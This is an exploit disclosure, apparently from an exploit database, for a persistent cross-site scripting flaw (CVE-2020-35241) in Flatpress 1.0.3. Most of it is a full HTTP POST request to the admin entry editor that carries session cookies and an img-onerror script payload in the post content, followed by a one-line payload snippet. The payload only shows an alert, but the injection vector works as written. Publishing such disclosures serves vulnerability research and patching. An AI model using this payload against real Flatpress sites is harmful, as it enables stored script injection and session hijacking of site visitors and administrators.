Flatpress Add Blog 1.0.3 - Persistent Cross-Site Scripting

# Exploit Title: Flatpress Add Blog 1.0.3 - Persistent Cross-Site Scripting
# Date: 2020-09-19
# Exploit Author: Alperen Ergel
# Vendor Homepage: https://www.flatpress.org/
# Software Link: https://github.com/evacchi/flatpress/releases/tag/v1.0.3
# Version: 1.0.3 
# Tested on: windows 10 / xampp 
# CVE : CVE-2020-35241


# Proof Of Content

POST /flatpress/admin.php?p=entry&action=write HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 223
Origin: http://localhost/
Connection: close
Referer: http://localhost/flatpress/admin.php?p=entry&action=write
Cookie: fpuser_fp-a53f4609=opensourcecms; fppass_fp-a53f4609=79dc9a3c529fcd0d9dc4fc7ff22187b6; fpsess_fp-a53f4609=71v18tu3lsc0s021q2pj8a3je7; _ga=GA1.2.487908813.1600520069; _gid=GA1.2.951134816.1600520069; _gat=1
Upgrade-Insecure-Requests: 1

_wpnonce=4fc4222db1&_wp_http_referer=%2Fflatpress%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=XSS&timestamp=1600526382&
entry=entry200919-143942&attachselect=--&imageselect=--&content=<img src=x onerror='alert("TEST XSS")'/>&savecontinue=Save%26Continue


# Snipp

content=[PAYLOAD] //<img src=x onerror='alert("TEST XSS")'/>